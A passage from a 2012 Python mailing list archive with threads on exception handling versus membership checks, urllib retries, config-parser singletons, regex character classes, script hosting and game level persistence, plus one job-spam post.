trivially beaten by an attacker. > > http://bugs.python.org/issue14621#msg173455 > > but in general, yes, key lookup in dicts is fast. But not as fast as > setting up a try block. > > Keep in mind too that the "Look Before You Leap" strategy is > fundamentally unsound if you are using threads: > > # in main thread: > if key in mydict: # returns True > x = mydict[key] # fails with KeyError > > How could this happen? In the fraction of a second between checking > whether the key exists and actually looking up the key, another thread > could delete it! This is a classic race condition, also known as a Time > Of Check To Time Of Use bug. I generally agree with everything Steven has said here and in previous responses and add the following. There are two reasons to not execute a block of code. 1. It could and would run, but we do not want it to run because a) we do not want an answer, even if correct; b) it would return a wrong answer (which of course we do not want); or c) it would run forever and never give any answer. To not run code, for any of these reasons, requires an if statement. 2. It will not run but will raise an exception instead. In this case, we can always use try-except. Sometimes we can detect that it would not run before running it, and can use an if statement instead. (But as Steven points out, this is sometimes trickier than it might seem.) However, even if we can reliably detect that code would either run or raise an exception, this often or even usually requires doing redundant calculation. For example, 'key in mydict' must hash the key, mod the hash according to the size of the dict, find the corresponding slot in the dict, and do an equality comparison with the existing key in the dict. If not equal, repeat according to the collision algorithm for inserting keys. In other words, 'key in mydict' does everything done by 'mydict[key]' except to actually fetch the value when the right slot is found or raise an exception if there is no right slot. So why ever use a redundant condition check? A. esthetics. B. practicality. Unfortunately, catching exceptions may be and often is as slow as the redundant check and even multiple redundant checks. -- Terry Jan Reedy From rosuav at gmail.com Sat Dec 8 02:17:19 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sat, 8 Dec 2012 18:17:19 +1100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> <50c26aa6$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Sat, Dec 8, 2012 at 6:01 PM, Terry Reedy wrote: > Unfortunately, catching exceptions may be and often is as slow as the > redundant check and even multiple redundant checks. It depends on how often you're going to catch and how often just flow through. In Python, as in most other modern languages, exceptions only cost you when they get thrown. The extra check, though, costs you in the normal case. ChrisA From 12nagar at gmail.com Sat Dec 8 06:08:09 2012 From: 12nagar at gmail.com (12nagar at gmail.com) Date: Sat, 8 Dec 2012 03:08:09 -0800 (PST) Subject: Latest Jobs for Freshers and Experienced Message-ID: <3df1d086-9a75-4395-919d-0c04965f6d96@googlegroups.com> www.fresherjobway.com fresherjobway.com/0-1-year-software-developer-at-pc-solutions-pvt-ltd-delhi/#more-311 http://fresherjobway.com/kent-technology-pvt-ltd-walkin-call-center-executive-business-development-executive-experience-mumbai-7th-to-20th-december-2012/#more-308 fresherjobway.com/national-institute-of-technology-agartala-walkin-asst-professors-freshers-agartala-10th-december-2012/#more-306 fresherjobway.com/central-salt-marine-chemicals-research-institute-walkin-project-fellow-freshers-bhavnagar-10th-january-2013/#more-303 fresherjobway.com/central-glass-and-ceramic-research-institute-cgcri-walkin-jrf-freshers-kolkata-14th-december-2012/#more-301 From hansmu at xs4all.nl Sat Dec 8 07:21:51 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Sat, 08 Dec 2012 13:21:51 +0100 Subject: python 3.3 urllib.request In-Reply-To: References: <50c22714$0$6981$e4fe514c@news2.news.xs4all.nl> Message-ID: <50c330e0$0$6854$e4fe514c@news2.news.xs4all.nl> On 8/12/12 07:20:55, Terry Reedy wrote: > On 12/7/2012 12:27 PM, Hans Mulder wrote: >> On 7/12/12 13:52:52, Steeve C wrote: >>> hello, >>> >>> I have a python3 script with urllib.request which have a strange >>> behavior, here is the script : >>> >>> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >>> >>> #!/usr/bin/env python3 >>> # -*- coding: utf-8 -*- >>> >>> import urllib.request >>> import sys, time >>> >>> >>> url = 'http://google.com' >>> >>> def make_some_stuff(page, url): >>> sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> page from \"") >>> + url + "\"\n") >>> sys.stderr.write(str(page) + "\"\n") >>> return True >>> >>> def get_page(url): >>> while 1: >>> try: >>> page = urllib.request.urlopen(url) >>> yield page >>> >>> except urllib.error.URLError as e: >>> sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> >>> impossible to access to \"") + url + "\"\n") >>> time.sleep(5) >>> continue >>> >>> def main(): >>> print('in main') >>> for page in get_page(url): >>> make_some_stuff(page, url) >>> time.sleep(5) >>> >>> if __name__ == '__main__': >>> main() >>> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >>> >>> >>> if the computer is connected on internet (with an ethernet connection >>> for example) and I run this script, it works like a charme : >>> - urllib.request.urlopen return the page >>> - make_some_stuff write in stderr >>> - when the ethernet cable is unplug the except block handle the error >>> while the cable is unplug, and when the cable is pluged >>> back urllib.request.urlopen return the page and make_some_stuff write in >>> stderr >>> >>> this is the normal behavior (for me, imho). >>> >>> but if the computer is not connected on internet (ethernet cable >>> unpluged) and I run this script, the except block handle the error >>> (normal), but when I plug the cable, the script continue looping >>> and urllib.request.urlopen never return the page (so, it always >>> go to the except block) >>> >>> What can I do to handle that ? > Don't do that '-). >> On my laptop, your script works as you'd hope: if I plug in the >> network cable, then the next urllib request sometimes fails, but >> the request after that succeeds. >> This is using Python 3.3 on MacOS X 10.5. >> What version are you running? >> >> What happens if you start the script with the network cable >> plugged in, then unplug it when the first request has succeeded, >> and then plug it in again when the next request has failed? > I believe he said that that worked. You're right: he said that. > But unplugging cables is not a good idea ;-) > > I remember when it was recommended that all cables be plugged in and the > the connected devices turned on when the computer was turned on and when > devices might not be recognized unless plugged in and on when the > computer was booted or rebooted. In other words, ports were scanned once > as part of the boot process and adding a device required a reboot. I also remember the time when that was true. But these day, many devices are designed to be plugged in with the computer running, and the OS continuously scans for new devices. > It certainly was not that long ago when I had to reboot after the > Internet Service went down and the cable modem had to reset. That's a configuration problem: when the cable modem is reset, your computer needs to rerun its "network up" script to renew its DHCP lease. If it isn't configured to do that automatically, and you don't know how to run it manually, then rebooting may be your only option. This is a common problem on desktop computers (where losing the connection to the cable modem is rare). Laptops are typically configured to deal with connection appearing and disappearing on both the wired and the wireless interface. > Ethernet and usb ports and modern OSes are more forgiving. But it does > not surprise me if on some systems something has to be presence at > process startup to even be visible to the process. His system may be caching the outcome of the IP address lookup. If that's the case, I'd expect different error messages, depending on whether the first lookup succeeded or not. But since his script carefully avoids printing the exception message, it's hard to tell. > I believe this is all beyond Python's control. So the only thing to do > might be to change hardware and/or OS or have the program restart itself > if it gets repeated errors. I think that it would deped on the error message. If the error is "Network is unreachable" or "No route to host", then sleeping and trying again might work. If the error is "nodename nor servname provided, or not known", then the script would have to restart itself. Hope this helps, -- HansM From Joshua.R.English at gmail.com Sat Dec 8 12:11:21 2012 From: Joshua.R.English at gmail.com (Josh English) Date: Sat, 8 Dec 2012 09:11:21 -0800 (PST) Subject: Help with Singleton SafeConfigParser Message-ID: <113bded6-c75f-4322-9703-93420b4c3522@googlegroups.com> I am trying to create a Singleton SafeConfigParser object to use across all the various scripts in this application. I tried a Singleton pattern found on the web:
class Singleton(object):
    def __new__(cls):
        if not hasattr(cls, '_inst'):
            print "Creating Singleton Object"
            cls._inst = super(Singleton, cls).__new__(cls)
        else:
            print "Returning established Singleton"

        return cls._inst

import ConfigParser

class Options(ConfigParser.SafeConfigParser, Singleton):
    def __init__(self):
        print "Initialing Options"
        ConfigParser.SafeConfigParser.__init__(self)
        self.add_section('test')
And this doesn't work because it calls the __init__ method every time I create the Options object:

O = Options()
print O
O.set('test','start','True')
print "from O", O.options('test')


P = Options()
print P
print "from P", P.options('test')
This results in:
Creating Singleton Object
Initialing Options
<__main__.Options object at 0x02BF4C50>
from O ['start']
Returning established Singleton
Initialing Options
<__main__.Options object at 0x02BF4C50>
from P []
I have seen older posts in this group that talk about using modules as singletons, but this, unless I misunderstand, requires me to code the entire API for SafeConfigParser in the module:
import ConfigParser


class Options(ConfigParser.SafeConfigParser):
    def __init__(self):
        ConfigParser.SafeConfigParser.__init__(self)
        self.readfp(open('defaults.cfg'))
        self.read(['local.txt', 'local.cfg'])

    def save(self):
        with open('local.txt','w') as f:
            self.write(f)

__options = Options()

def set(section, name, value):
    return self.__options.set(section, name, value)

def options(section):
    return self.__options.options

# And so on
This seems incredibly wasteful, and to introspect my options I get a module, not a SafeConfigParser object, so I'm wondering if there is a different way to handle this? Josh From __peter__ at web.de Sat Dec 8 12:40:07 2012 From: __peter__ at web.de (Peter Otten) Date: Sat, 08 Dec 2012 18:40:07 +0100 Subject: Help with Singleton SafeConfigParser References: <113bded6-c75f-4322-9703-93420b4c3522@googlegroups.com> Message-ID: Josh English wrote: > I have seen older posts in this group that talk about using modules as singletons, but this, unless I misunderstand, requires me to code the entire API for SafeConfigParser in the module: > >
> import ConfigParser
> 
> 
> class Options(ConfigParser.SafeConfigParser):
>     def __init__(self):
>         ConfigParser.SafeConfigParser.__init__(self)
>         self.readfp(open('defaults.cfg'))
>         self.read(['local.txt', 'local.cfg'])
> 
>     def save(self):
>         with open('local.txt','w') as f:
>             self.write(f)
> 
> __options = Options()
> 
> def set(section, name, value):
>     return self.__options.set(section, name, value)
> 
> def options(section):
>     return self.__options.options
> 
> # And so on
> 
> > This seems incredibly wasteful, and to introspect my options I get a module, not a SafeConfigParser object, so I'm wondering if there is a different way to handle this? Two underscores trigger name mangling only in a class, not in a module. Don't try to hide the Options instance: # module config.py import ConfigParser class Options(ConfigParser.SafeConfigParser): ... # as above options = Options() Then use it elsewhere: from config import options options.set("mysection", "myoption", "myvalue") All but the first import will find the module in the cache (sys.modules) and therefore the same Options instance will be used. Voil? your no-nonsense singleton. From Joshua.R.English at gmail.com Sat Dec 8 12:48:04 2012 From: Joshua.R.English at gmail.com (Josh English) Date: Sat, 8 Dec 2012 09:48:04 -0800 (PST) Subject: Help with Singleton SafeConfigParser In-Reply-To: References: <113bded6-c75f-4322-9703-93420b4c3522@googlegroups.com> Message-ID: On Saturday, December 8, 2012 9:40:07 AM UTC-8, Peter Otten wrote: > > > > Two underscores trigger name mangling only in a class, not in a module. > > Don't try to hide the Options instance: > > > > # module config.py > > import ConfigParser > > > > class Options(ConfigParser.SafeConfigParser): > > ... # as above > > > > options = Options() > > > > Then use it elsewhere: > > from config import options > > options.set("mysection", "myoption", "myvalue") > > > > All but the first import will find the module in the cache (sys.modules) and > > therefore the same Options instance will be used. Voil? your no-nonsense > > singleton. Ah. I was over-thinking again. I couldn't find an example of this anywhere, and when I saw the tirades against Singletons they mentioned "use modules" but, well, I haven't had my morning coffee yet. I shouldn't even be trying this sort of thing until then. Thank you for the simple answer. Josh From Joshua.R.English at gmail.com Sat Dec 8 12:48:04 2012 From: Joshua.R.English at gmail.com (Josh English) Date: Sat, 8 Dec 2012 09:48:04 -0800 (PST) Subject: Help with Singleton SafeConfigParser In-Reply-To: References: <113bded6-c75f-4322-9703-93420b4c3522@googlegroups.com> Message-ID: On Saturday, December 8, 2012 9:40:07 AM UTC-8, Peter Otten wrote: > > > > Two underscores trigger name mangling only in a class, not in a module. > > Don't try to hide the Options instance: > > > > # module config.py > > import ConfigParser > > > > class Options(ConfigParser.SafeConfigParser): > > ... # as above > > > > options = Options() > > > > Then use it elsewhere: > > from config import options > > options.set("mysection", "myoption", "myvalue") > > > > All but the first import will find the module in the cache (sys.modules) and > > therefore the same Options instance will be used. Voil? your no-nonsense > > singleton. Ah. I was over-thinking again. I couldn't find an example of this anywhere, and when I saw the tirades against Singletons they mentioned "use modules" but, well, I haven't had my morning coffee yet. I shouldn't even be trying this sort of thing until then. Thank you for the simple answer. Josh From python at mrabarnett.plus.com Sat Dec 8 12:50:46 2012 From: python at mrabarnett.plus.com (MRAB) Date: Sat, 08 Dec 2012 17:50:46 +0000 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> <50c26aa6$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50C37DF6.2000701@mrabarnett.plus.com> On 2012-12-08 07:17, Chris Angelico wrote: > On Sat, Dec 8, 2012 at 6:01 PM, Terry Reedy wrote: >> Unfortunately, catching exceptions may be and often is as slow as the >> redundant check and even multiple redundant checks. > > It depends on how often you're going to catch and how often just flow > through. In Python, as in most other modern languages, exceptions only > cost you when they get thrown. The extra check, though, costs you in > the normal case. > That's where the .get method comes in handy: MISSING = object() ... value = my_dict.get(key, MISSING) if value is not MISSING: ... It could be faster if the dict often doesn't contain the key. From python at mrabarnett.plus.com Sat Dec 8 13:08:36 2012 From: python at mrabarnett.plus.com (MRAB) Date: Sat, 08 Dec 2012 18:08:36 +0000 Subject: regex walktrough In-Reply-To: <20121208094813.5560b42fb233329a44b05dee@lavabit.com> References: <20121208094813.5560b42fb233329a44b05dee@lavabit.com> Message-ID: <50C38224.3040201@mrabarnett.plus.com> On 2012-12-08 17:48, rh wrote: > Look through some code I found this and wondered about what it does: > ^(?P[0-9A-Za-z-_.//]+)$ > > Here's my walk through: > > 1) ^ match at start of string > 2) ?P if a match is found it will be accessible in a variable > salsipuedes > 3) [0-9A-Za-z-_.//] this is the one that looks wrong to me, see below > 4) + one or more from the preceeding char class > 5) () the grouping we want returned (see #2) > 6) $ end of the string to match against but before any newline > > > more on #3 > the z-_ part looks wrong and seems that the - should be at the start > of the char set otherwise we get another range z-_ or does the a-z > preceeding the z-_ negate the z-_ from becoming a range? The "." > might be ok inside a char set. The two slashes look wrong but maybe > it has some special meaning in some case? I think only one slash is > needed. > > I've looked at pydoc re, but it's cursory. > Python itself will help you: >>> re.compile(r"^(?P[0-9A-Za-z-_.//]+)$", flags=re.DEBUG) at at_beginning subpattern 1 max_repeat 1 65535 in range (48, 57) range (65, 90) range (97, 122) literal 45 literal 95 literal 46 literal 47 literal 47 at at_end Inside the character set: "0-9", "A-Z" and "a-z" are ranges; "-", "_", "." and "/" are literals. Doubling the "/" is unnecessary (it has no special meaning). "-" is a literal because it immediately follows a range, so it can't be defining another range (if it immediately followed a literal and wasn't immediately followed by an unescaped "]" then it would, so r"[a-]" is the same as r"[a\-]"). As for "(?P...)", it won't be accessible in a variable "salsipuedes", but will be accessible as a named group in the match object: >>> m = re.match(r"(?P[a-z]+)", "xyz") >>> m.group("foo") 'xyz' From hansmu at xs4all.nl Sat Dec 8 14:33:37 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Sat, 08 Dec 2012 20:33:37 +0100 Subject: regex walktrough In-Reply-To: References: Message-ID: <50c39613$0$6972$e4fe514c@news2.news.xs4all.nl> On 8/12/12 18:48:13, rh wrote: > Look through some code I found this and wondered about what it does: > ^(?P[0-9A-Za-z-_.//]+)$ > > Here's my walk through: > > 1) ^ match at start of string > 2) ?P if a match is found it will be accessible in a > variable salsipuedes I wouldn't call it a variable. If m is a match-object produced by this regex, then m.group('salsipuedes') will return the part that was captured. I'm not sure, though, why you'd want to define a group that effectively spans the whole regex. If there's a match, then m.group(0) will return the matching substring, and m.group('salsipuedes') will return the substring that matched the parenthesized part of the pattern and these two substrings will be equal, since the only bits of the pattern outside the parenthesis are zero-width assertions. > 3) [0-9A-Za-z-_.//] this is the one that looks wrong to me, see below > 4) + one or more from the preceeding char class > 5) () the grouping we want returned (see #2) > 6) $ end of the string to match against but before any newline > > more on #3 > the z-_ part looks wrong and seems that the - should be at the start > of the char set otherwise we get another range z-_ or does the a-z > preceeding the z-_ negate the z-_ from becoming a range? The latter: a-z is a range and block the z-_ from being a range. Consequently, the -_ bit matches only - and _. > The "." might be ok inside a char set. It is. Most special characters lose their special meaning inside a char set. > The two slashes look wrong but maybe it has some special meaning > in some case? I think only one slash is needed. You're correct: there's no special meaning and only one slash is needed. But then, a char set is a set and duplcates are simply ignored, so it does no harm. Perhaps the person who wrote this was confusing slashes and backslashes. > I've looked at pydoc re, but it's cursory. That's one way of putting it. Hope this helps, -- HansM From jhsu802701 at gmail.com Sat Dec 8 15:22:35 2012 From: jhsu802701 at gmail.com (Jason Hsu) Date: Sat, 8 Dec 2012 12:22:35 -0800 (PST) Subject: Running a Python app on a remote server and displaying the output files Message-ID: I have a Python 2.7 script at https://github.com/jhsu802701/dopplervalueinvesting . When I run the screen.py script locally, the end result is a new screen-output sub-directory (within the root directory) and a results.csv file within it. What I'm trying to do is put this script on a remote server, run this screen.py script every night, and make the results.csv file publicly readable. I've tried to do this on Google App Engine, but I can't get it to work. The Google App Engine tutorial revolves around trying to dynamically create a web site, and I haven't been able to figure out how to make anything other than an index.html file in the root directory work. HOW DO I MAKE OTHER FILES PUBLICLY READABLE? Is Google App Engine the way to go, or am I barking up the wrong tree? I understand that another route is using WebFaction, a web hosting provider that offers a whole Linux system. (Running my app on my current web host, MDDHosting, is not an option because lxml is not available without a much more costly VPS.) In summary, my questions are: 1. How do I run my Python script in Google App Engine and make the output results.csv file publicly available? 2. If Google App Engine isn't the solution for me, should I use WebFaction? (I already tried Heroku, and it didn't work for me.) 3. What are my other options? I'm willing to pay for a solution, but only if I get web hosting as well. (I'm not willing to pay for MDDHosting for my dopplervalueinvesting.com web site AND another host for running my script.) From breamoreboy at yahoo.co.uk Sat Dec 8 15:23:41 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Sat, 08 Dec 2012 20:23:41 +0000 Subject: Help with Singleton SafeConfigParser In-Reply-To: References: <113bded6-c75f-4322-9703-93420b4c3522@googlegroups.com> Message-ID: On 08/12/2012 17:48, Josh English wrote: > On Saturday, December 8, 2012 9:40:07 AM UTC-8, Peter Otten wrote: >> >> Two underscores trigger name mangling only in a class, not in a module. >> >> Don't try to hide the Options instance: >> >> # module config.py >> >> import ConfigParser >> >> class Options(ConfigParser.SafeConfigParser): >> >> ... # as above >> >> options = Options() >> >> Then use it elsewhere: >> >> from config import options >> >> options.set("mysection", "myoption", "myvalue") >> >> All but the first import will find the module in the cache (sys.modules) and >> >> therefore the same Options instance will be used. Voil? your no-nonsense >> >> singleton. > > > Ah. I was over-thinking again. I couldn't find an example of this anywhere, and when I saw the tirades against Singletons they mentioned "use modules" but, well, I haven't had my morning coffee yet. I shouldn't even be trying this sort of thing until then. > > Thank you for the simple answer. > > Josh > For the benefit of the OP and others, if you want to gain more knowledge about patterns in Python such as the Singleton, I suggest you use your favourite search engine to find "Alex Martelli Python patterns". -- Cheers. Mark Lawrence. From frednotbob at hotmail.ca Sat Dec 8 16:32:22 2012 From: frednotbob at hotmail.ca (Graham Fielding) Date: Sat, 8 Dec 2012 13:32:22 -0800 Subject: Issue with seeded map generation Message-ID: Hey, all! I've managed to get my project to a semi-playable state (everything functions, if not precisely the way I'd like it to). One small issue is that when the player movs from one level to the next, the items and monsters in the previous level all 'reset' and return to the positions they had when the level was seeded. I've puzzled over (and attempted) quite a few workarounds, and had no success. I don't want to pickle the entire level (that would be overkill for what I need), but I want to update the item/monster locations so the player can drop an item and come back to it later. Should I add something to the 'drop_item' function, or call soemthing in make_map? -------------- next part -------------- An HTML attachment was scrubbed... URL: From subhabangalore at gmail.com Sat Dec 8 17:23:47 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Sat, 8 Dec 2012 14:23:47 -0800 (PST) Subject: Parsing in Python Message-ID: Dear Group, I am looking at a readymade tool to resolve anaphora, and I am looking a Python based one. I checked NLTK. It has DRT parser. But I do not like that. In other parsers you have to insert grammar. But I am looking for a completely built in. If anyone can kindly suggest. Regards, Subhabrata. From msirenef at lightbird.net Sat Dec 8 17:27:32 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Sat, 08 Dec 2012 17:27:32 -0500 Subject: Issue with seeded map generation In-Reply-To: References: Message-ID: <50C3BED4.8040106@lightbird.net> On 12/08/2012 04:32 PM, Graham Fielding wrote: > Hey, all! > > I've managed to get my project to a semi-playable state (everything functions, if not precisely the way I'd like it to). One small issue is that when the player movs from one level to the next, the items and monsters in the previous level all 'reset' and return to the positions they had when the level was seeded. > > I've puzzled over (and attempted) quite a few workarounds, and had no success. I don't want to pickle the entire level (that would be overkill for what I need), but I want to update the item/monster locations so the player can drop an item and come back to it later. > > Should I add something to the 'drop_item' function, or call soemthing in make_map? > > How many levels do you have and how much does each take up in memory? It might be ok to to simply save the level in memory under its number; if the map takes up a lot of space you can make objects take up less memory by using __slots__, and then change levels by doing something like this: def change_level(num): self.levels[self.current_lvl] = self.levelmap if num in self.levels: self.levelmap = self.levels[num] else: [handle new level creation] self.current_lvl = num -m From hansmu at xs4all.nl Sat Dec 8 17:53:32 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Sat, 08 Dec 2012 23:53:32 +0100 Subject: Issue with seeded map generation In-Reply-To: References: Message-ID: <50c3c4ec$0$6887$e4fe514c@news2.news.xs4all.nl> On 8/12/12 22:32:22, Graham Fielding wrote: > Hey, all! > > I've managed to get my project to a semi-playable state (everything > functions, if not precisely the way I'd like it to). One small issue is > that when the player moves from one level to the next, the items and > monsters in the previous level all 'reset' and return to the positions > they had when the level was seeded. > > I've puzzled over (and attempted) quite a few workarounds, and had no > success. I don't want to pickle the entire level (that would be > overkill for what I need), but I want to update the item/monster > locations so the player can drop an item and come back to it later. > > Should I add something to the 'drop_item' function, or call something > in make_map? I think pickling the entire level would be the sensible thing to do. The alternative would be to keep track of everything that changed on the level and redo all those changes of the player returns to the level. That's a lot of work. Moreover, everytime you add a feature to the game, you'd have to extend your keep_track() and redo() functions, so they can redo the new thing, too. Hope this helps, -- HansM From hansmu at xs4all.nl Sat Dec 8 18:27:30 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Sun, 09 Dec 2012 00:27:30 +0100 Subject: regex walktrough In-Reply-To: References: <20121208094813.5560b42fb233329a44b05dee@lavabit.com> <50C38224.3040201@mrabarnett.plus.com> Message-ID: <50c3cce2$0$6923$e4fe514c@news2.news.xs4all.nl> On 8/12/12 23:19:40, rh wrote: > I reduced the expression too. Now I wonder why re.DEBUG doesn't unroll > category_word. Some other re flag? he category word consists of the '_' character and the characters for which .isalnum() return True. On my system there are 102158 characters matching '\w': >>> sum(1 for i in range(sys.maxunicode+1) ... if re.match(r'\w', chr(i))) 102158 >>> You wouldn't want to see the complete list. -- HansM From hansmu at xs4all.nl Sat Dec 8 18:34:53 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Sun, 09 Dec 2012 00:34:53 +0100 Subject: regex walktrough In-Reply-To: References: <50c39613$0$6972$e4fe514c@news2.news.xs4all.nl> Message-ID: <50c3ce9d$0$6960$e4fe514c@news2.news.xs4all.nl> On 8/12/12 23:57:48, rh wrote: > Not sure if the \w sequence includes the - or the . or the / > I think it does not. You guessed right: >>> [ c for c in 'x-./y' if re.match(r'\w', c) ] ['x', 'y'] >>> So x and y match \w and -, . and / do not. Hope this helps, -- HansM From 1248283536 at qq.com Sat Dec 8 19:33:06 2012 From: 1248283536 at qq.com (=?gb18030?B?y66+ssH3ye4=?=) Date: Sun, 9 Dec 2012 08:33:06 +0800 Subject: why the conut( ) can not get the number? Message-ID: i wnat to get the number of a atrributes in a xpath,here is my code,why i can not get the number ? import urllib import lxml.html down="http://python-gtk-3-tutorial.readthedocs.org/en/latest/index.html" file=urllib.urlopen(down).read() root=lxml.html.document_fromstring(file) for order,node in enumerate(root.xpath('//li[@class="toctree-l1"]')): print order,node.xpath('.//a[count(*)]') -------------- next part -------------- An HTML attachment was scrubbed... URL: From rosuav at gmail.com Sat Dec 8 19:38:26 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sun, 9 Dec 2012 11:38:26 +1100 Subject: Running a Python app on a remote server and displaying the output files In-Reply-To: References: Message-ID: On Sun, Dec 9, 2012 at 7:22 AM, Jason Hsu wrote: > I have a Python 2.7 script at https://github.com/jhsu802701/dopplervalueinvesting . When I run the screen.py script locally, the end result is a new screen-output sub-directory (within the root directory) and a results.csv file within it. > > What I'm trying to do is put this script on a remote server, run this screen.py script every night, and make the results.csv file publicly readable. Sounds like a cron job and a web server. > I've tried to do this on Google App Engine, but I can't get it to work. The Google App Engine tutorial revolves around trying to dynamically create a web site, and I haven't been able to figure out how to make anything other than an index.html file in the root directory work. HOW DO I MAKE OTHER FILES PUBLICLY READABLE? I don't know Google App Engine, but the normal way to do these things is to simply drop a file into your web server's designated root - for instance, /var/www/results.csv would be accessible as http://yourserver/results.csv - just put it next to index.html. But you may need to configure it, if it's set to a more secure default setup that allows only html files. > 1. How do I run my Python script in Google App Engine and make the output results.csv file publicly available? > 2. If Google App Engine isn't the solution for me, should I use WebFaction? (I already tried Heroku, and it didn't work for me.) > 3. What are my other options? > > I'm willing to pay for a solution, but only if I get web hosting as well. (I'm not willing to pay for MDDHosting for my dopplervalueinvesting.com web site AND another host for running my script.) Here's a possible solution for you. Make your screen.py web-accessible (maybe with a password or IP address check, if you don't want it public) as your means of regenerating the file, and create another one that returns it. You can then have a cron job on any other computer in the world - your own home box, for instance - that runs: wget http://yourserver/screen.py You can store the csv file as an actual file, or in a database, or whatever's convenient. You just need the other script to be able to find it. ChrisA From python at mrabarnett.plus.com Sat Dec 8 19:56:37 2012 From: python at mrabarnett.plus.com (MRAB) Date: Sun, 09 Dec 2012 00:56:37 +0000 Subject: regex walktrough In-Reply-To: <50c3cce2$0$6923$e4fe514c@news2.news.xs4all.nl> References: <20121208094813.5560b42fb233329a44b05dee@lavabit.com> <50C38224.3040201@mrabarnett.plus.com> <50c3cce2$0$6923$e4fe514c@news2.news.xs4all.nl> Message-ID: <50C3E1C5.20806@mrabarnett.plus.com> On 2012-12-08 23:27, Hans Mulder wrote: > On 8/12/12 23:19:40, rh wrote: >> I reduced the expression too. Now I wonder why re.DEBUG doesn't unroll >> category_word. Some other re flag? > > he category word consists of the '_' character and the > characters for which .isalnum() return True. > > On my system there are 102158 characters matching '\w': > That would be because you're using Python 3, where strings are Unicode. >>>> sum(1 for i in range(sys.maxunicode+1) > ... if re.match(r'\w', chr(i))) > 102158 >>>> > > You wouldn't want to see the complete list. > The number of such codepoints depends on which version of Unicode is being supported (Unicode is evolving all the time). From python at mrabarnett.plus.com Sat Dec 8 19:56:52 2012 From: python at mrabarnett.plus.com (MRAB) Date: Sun, 09 Dec 2012 00:56:52 +0000 Subject: regex walktrough In-Reply-To: <50c3ce9d$0$6960$e4fe514c@news2.news.xs4all.nl> References: <50c39613$0$6972$e4fe514c@news2.news.xs4all.nl> <50c3ce9d$0$6960$e4fe514c@news2.news.xs4all.nl> Message-ID: <50C3E1D4.3090904@mrabarnett.plus.com> On 2012-12-08 23:34, Hans Mulder wrote: > On 8/12/12 23:57:48, rh wrote: >> Not sure if the \w sequence includes the - or the . or the / >> I think it does not. > > You guessed right: > >>>> [ c for c in 'x-./y' if re.match(r'\w', c) ] > ['x', 'y'] >>>> > > So x and y match \w and -, . and / do not. > This is shorter: >>> re.findall(r'\w', 'x-./y') ['x', 'y'] But remember that r"\w" is more than just r"[A-Za-z0-9_]" (unless you're using ASCII). From ian.g.kelly at gmail.com Sat Dec 8 20:03:23 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Sat, 8 Dec 2012 18:03:23 -0700 Subject: Issue with seeded map generation In-Reply-To: References: Message-ID: On Sat, Dec 8, 2012 at 2:32 PM, Graham Fielding wrote: > Hey, all! > > I've managed to get my project to a semi-playable state (everything > functions, if not precisely the way I'd like it to). One small issue is > that when the player movs from one level to the next, the items and monsters > in the previous level all 'reset' and return to the positions they had when > the level was seeded. > > I've puzzled over (and attempted) quite a few workarounds, and had no > success. I don't want to pickle the entire level (that would be overkill > for what I need), but I want to update the item/monster locations so the > player can drop an item and come back to it later. Make the level generation process two-step. Step 1, build the map. Step 2, populate it with items and monsters. When the level is left, save the state and positions of the items and monsters in it along with the seed. When re-entering a level, do only step 1 of the process, and then repopulate it with the saved items and monsters. Of course, if you ever want to introduce features that can actually modify the map, then you'll need to save and reload the modifications as well. From maniandram01 at gmail.com Sat Dec 8 22:07:50 2012 From: maniandram01 at gmail.com (Ramchandra Apte) Date: Sat, 8 Dec 2012 19:07:50 -0800 (PST) Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Thursday, 6 December 2012 17:44:17 UTC+5:30, Chris Angelico wrote: > On Thu, Dec 6, 2012 at 10:47 PM, Steven D'Aprano > > wrote: > > > Not so. Which one is faster will depend on how often you expect to fail. > > > If the keys are nearly always present, then: > > > > > > try: > > > do_stuff(mydict[k]) > > > except KeyError: > > > pass > > > > > > will be faster. Setting up a try block is very fast, about as fast as > > > "pass", and faster than "if k in mydict". > > > > > > But if the key is often missing, then catching the exception will be > > > slow, and the "if k in mydict" version may be faster. It depends on how > > > often the key is missing. > > > > > > > Setting up the try/except is a constant time cost, while the > > duplicated search for k inside the dictionary might depend on various > > other factors. In the specific case of a Python dictionary, the > > membership check is fairly cheap (assuming you're not the subject of a > > hash collision attack - Py3.3 makes that a safe assumption), but if > > you were about to execute a program and wanted to first find out if it > > existed, that extra check could be ridiculously expensive, eg if the > > path takes you on a network drive - or, worse, on multiple network > > drives, which I have had occasion to do! > > > > ChrisA Not really. I remember a bug saying that only 256 hashes were required of known texts and then the randomization becomes useless. From maniandram01 at gmail.com Sat Dec 8 22:07:50 2012 From: maniandram01 at gmail.com (Ramchandra Apte) Date: Sat, 8 Dec 2012 19:07:50 -0800 (PST) Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Thursday, 6 December 2012 17:44:17 UTC+5:30, Chris Angelico wrote: > On Thu, Dec 6, 2012 at 10:47 PM, Steven D'Aprano > > wrote: > > > Not so. Which one is faster will depend on how 